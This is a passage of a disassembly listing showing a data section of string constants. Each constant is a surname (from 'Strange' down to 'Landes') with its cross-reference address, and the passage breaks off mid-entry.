XREF: ___:0042E988o aStrange db 'Strange',0 ; DATA XREF: ___:0042E984o aStott db 'Stott',0 ; DATA XREF: ___:0042E980o align 10h aStorer db 'Storer',0 ; DATA XREF: ___:0042E97Co align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E978o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E974o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E970o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E96Co align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042E968o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E964o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E960o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E95Co align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E958o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E954o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E950o aStefani db 'Stefani',0 ; DATA XREF: ___:0042E94Co aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E948o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E944o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E940o align 10h aStang db 'Stang',0 ; DATA XREF: ___:0042E93Co align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E938o align 10h aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E934o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E930o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E92Co aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E928o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E924o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E920o align 10h aSperber db 'Sperber',0 ; DATA XREF: ___:0042E91Co aSpence db 'Spence',0 ; DATA XREF: ___:0042E918o align 10h aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E914o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E910o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E90Co aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E908o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E904o align 10h aSoule db 'Soule',0 ; DATA XREF: ___:0042E900o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E8FCo align 10h aSottak db 'Sottak',0 ; DATA XREF: ___:0042E8F8o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E8F4o align 10h aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E8F0o align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E8ECo align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E8E8o align 10h aSolon db 'Solon',0 ; DATA XREF: ___:0042E8E4o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E8E0o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E8DCo align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E8D8o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E8D4o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E8D0o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042E8CCo align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E8C8o align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E8C4o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E8C0o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042E8BCo align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E8B8o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E8B4o align 10h aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E8B0o align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E8ACo align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E8A8o align 10h aSigini db 'Sigini',0 ; DATA XREF: ___:0042E8A4o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E8A0o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E89Co align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E898o align 10h aShibata db 'Shibata',0 ; DATA XREF: ___:0042E894o aShia db 'Shia',0 ; DATA XREF: ___:0042E890o align 10h aShesko db 'Shesko',0 ; DATA XREF: ___:0042E88Co align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E888o align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E884o align 10h aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E880o align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E87Co align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042E878o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E874o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E870o aShar db 'Shar',0 ; DATA XREF: ___:0042E86Co align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E868o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E864o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E860o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E85Co align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E858o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E854o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E850o align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E84Co aSen db 'Sen',0 ; DATA XREF: ___:0042E848o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E844o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E840o align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0042E83Co align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E838o align 4 aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E834o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E830o aScovel db 'Scovel',0 ; DATA XREF: ___:0042E82Co align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E828o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E824o align 10h aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E820o align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E81Co aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E818o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E814o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E810o aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E80Co align 10h aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E808o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E804o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E800o align 10h aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E7FCo aScharf db 'Scharf',0 ; DATA XREF: ___:0042E7F8o align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0042E7F4o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E7F0o align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E7ECo align 10h aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E7E8o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E7E4o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E7E0o align 10h aSatin db 'Satin',0 ; DATA XREF: ___:0042E7DCo align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E7D8o align 10h aSartore db 'Sartore',0 ; DATA XREF: ___:0042E7D4o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E7D0o align 10h aSapers db 'Sapers',0 ; DATA XREF: ___:0042E7CCo align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E7C8o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E7C4o aSamson db 'Samson',0 ; DATA XREF: ___:0042E7C0o align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E7BCo align 10h aSahu db 'Sahu',0 ; DATA XREF: ___:0042E7B8o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E7B4o align 10h aSadler db 'Sadler',0 ; DATA XREF: ___:0042E7B0o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E7ACo align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0042E7A8o aRush db 'Rush',0 ; DATA XREF: ___:0042E7A4o align 10h aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E7A0o align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E79Co align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E798o align 10h aRu db 'Ru',0 ; DATA XREF: ___:0042E794o align 4 aRoyal db 'Royal',0 ; DATA XREF: ___:0042E790o align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E78Co aRonen db 'Ronen',0 ; DATA XREF: ___:0042E788o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E784o align 10h aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E780o aRocha db 'Rocha',0 ; DATA XREF: ___:0042E77Co align 10h aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E778o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E774o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0042E770o align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E76Co align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0042E768o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E764o align 4 aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E760o align 10h aRhea db 'Rhea',0 ; DATA XREF: ___:0042E75Co align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E758o align 10h aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E754o aRenick db 'Renick',0 ; DATA XREF: ___:0042E750o align 10h aRemak db 'Remak',0 ; DATA XREF: ___:0042E74Co align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E748o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E744o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E740o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E73Co align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E738o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E734o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E730o align 10h aRangan db 'Rangan',0 ; DATA XREF: ___:0042E72Co align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E728o align 10h aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E724o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E720o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E71Co align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E718o align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E714o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E710o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E70Co aPugh db 'Pugh',0 ; DATA XREF: ___:0042E708o align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E704o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E700o align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E6FCo align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E6F8o align 10h aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E6F4o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E6F0o aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E6ECo aPresper db 'Presper',0 ; DATA XREF: ___:0042E6E8o aPowers db 'Powers',0 ; DATA XREF: ___:0042E6E4o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E6E0o aPoma db 'Poma',0 ; DATA XREF: ___:0042E6DCo align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E6D8o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E6D4o aPolak db 'Polak',0 ; DATA XREF: ___:0042E6D0o align 4 aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E6CCo aPointer db 'Pointer',0 ; DATA XREF: ___:0042E6C8o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E6C4o align 10h aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E6C0o align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E6BCo align 10h aPlous db 'Plous',0 ; DATA XREF: ___:0042E6B8o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E6B4o aPlant db 'Plant',0 ; DATA XREF: ___:0042E6B0o align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E6ACo aPinot db 'Pinot',0 ; DATA XREF: ___:0042E6A8o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E6A4o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E6A0o aPettit db 'Pettit',0 ; DATA XREF: ___:0042E69Co align 10h aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E698o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E694o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E690o align 10h aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E68Co align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E688o align 4 aPerna db 'Perna',0 ; DATA XREF: ___:0042E684o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E680o aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E67Co align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E678o align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0042E674o aPenny db 'Penny',0 ; DATA XREF: ___:0042E670o align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E66Co aPederson db 'Pederson',0 ; DATA XREF: ___:0042E668o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E664o align 4 aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E660o aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E65Co aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E658o align 10h aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E654o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E650o aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E64Co align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E648o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E644o align 10h aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E640o align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E63Co align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E638o align 10h aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E634o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E630o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E62Co align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E628o align 10h aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E624o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E620o align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E61Co aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E618o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E614o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0042E610o align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E60Co align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E608o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E604o aOtten db 'Otten',0 ; DATA XREF: ___:0042E600o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E5FCo align 10h aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E5F8o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E5F4o align 4 aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E5F0o align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E5ECo aOray db 'Oray',0 ; DATA XREF: ___:0042E5E8o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E5E4o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E5E0o aOman db 'Oman',0 ; DATA XREF: ___:0042E5DCo align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E5D8o align 10h aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E5D4o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E5D0o align 4 aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E5CCo align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E5C8o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E5C4o aOh db 'Oh',0 ; DATA XREF: ___:0042E5C0o align 10h aOgata db 'Ogata',0 ; DATA XREF: ___:0042E5BCo align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E5B8o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E5B4o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E5B0o align 10h aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E5ACo align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E5A8o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E5A4o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E5A0o align 10h aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E59Co align 4 aNg db 'Ng',0 ; DATA XREF: ___:0042E598o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E594o align 10h aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E590o aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E58Co align 10h aNesci db 'Nesci',0 ; DATA XREF: ___:0042E588o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E584o align 10h aNelson db 'Nelson',0 ; DATA XREF: ___:0042E580o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E57Co aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E578o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E574o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E570o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E56Co align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E568o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E564o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E560o aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E55Co align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E558o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E554o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E550o align 10h aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E54Co aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E548o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E544o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E540o align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0042E53Co align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E538o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E534o align 10h aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E530o align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E52Co aMorani db 'Morani',0 ; DATA XREF: ___:0042E528o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E524o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E520o align 4 aMonque db 'Monque',0 ; DATA XREF: ___:0042E51Co align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E518o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E514o align 10h aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E510o aModestino db 'Modestino',0 ; DATA XREF: ___:0042E50Co align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E508o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E504o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E500o aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E4FCo align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E4F8o aMini db 'Mini',0 ; DATA XREF: ___:0042E4F4o align 10h aMinh db 'Minh',0 ; DATA XREF: ___:0042E4F0o align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E4ECo align 10h aMieher db 'Mieher',0 ; DATA XREF: ___:0042E4E8o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E4E4o align 10h aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E4E0o align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E4DCo align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E4D8o align 10h aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E4D4o aMerz db 'Merz',0 ; DATA XREF: ___:0042E4D0o align 10h aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E4CCo aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E4C8o align 4 aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E4C4o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E4C0o align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E4BCo aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E4B8o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E4B4o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E4B0o aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E4ACo aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E4A8o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E4A4o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E4A0o aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E49Co align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E498o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E494o align 10h aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E490o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E48Co align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E488o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E484o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E480o align 4 aMccall db 'Mccall',0 ; DATA XREF: ___:0042E47Co align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E478o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E474o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E470o align 4 aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E46Co aMay db 'May',0 ; DATA XREF: ___:0042E468o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E464o align 10h aMattson db 'Mattson',0 ; DATA XREF: ___:0042E460o aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E45Co align 4 aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E458o align 10h aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E454o aMass db 'Mass',0 ; DATA XREF: ___:0042E450o align 10h aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E44Co align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E448o align 4 aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E444o align 10h aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E440o align 4 aMarques db 'Marques',0 ; DATA XREF: ___:0042E43Co aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E438o align 10h aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E434o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E430o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E42Co align 10h aMarch db 'March',0 ; DATA XREF: ___:0042E428o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E424o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E420o aMandel db 'Mandel',0 ; DATA XREF: ___:0042E41Co align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E418o aMalova db 'Malova',0 ; DATA XREF: ___:0042E414o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E410o align 10h aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E40Co align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E408o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E404o align 4 aMaier db 'Maier',0 ; DATA XREF: ___:0042E400o align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E3FCo align 4 aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E3F8o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E3F4o aMacy db 'Macy',0 ; DATA XREF: ___:0042E3F0o align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E3ECo align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E3E8o align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E3E4o align 10h aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E3E0o align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E3DCo align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E3D8o align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E3D4o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E3D0o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E3CCo align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E3C8o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E3C4o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E3C0o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E3BCo align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E3B8o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E3B4o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E3B0o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E3ACo align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042E3A8o align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E3A4o align 10h aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E3A0o aLoss db 'Loss',0 ; DATA XREF: ___:0042E39Co align 10h aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E398o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E394o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E390o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E38Co aLivi db 'Livi',0 ; DATA XREF: ___:0042E388o align 10h aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E384o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E380o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042E37Co align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E378o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E374o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E370o align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E36Co aLine db 'Line',0 ; DATA XREF: ___:0042E368o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042E364o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042E360o align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042E35Co aLim db 'Lim',0 ; DATA XREF: ___:0042E358o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E354o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042E350o align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042E34Co align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042E348o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E344o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042E340o align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042E33Co align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E338o align 10h aLenard db 'Lenard',0 ; DATA XREF: ___:0042E334o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042E330o align 10h aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E32Co align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042E328o align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042E324o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042E320o aLashley db 'Lashley',0 ; DATA XREF: ___:0042E31Co aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E318o aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E314o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E310o align 4 aLankes db 'Lankes',0 ; DATA XREF: ___:0042E30Co align 10h aLandes db 'Landes',0 ; DATA XREF: ___:0042E308o ; ___:004329A4o align 4 dword_430058 dd 6C6C614Ch ; DATA XREF: ___:0042E304o aEmant db 'emant',0 ; DATA 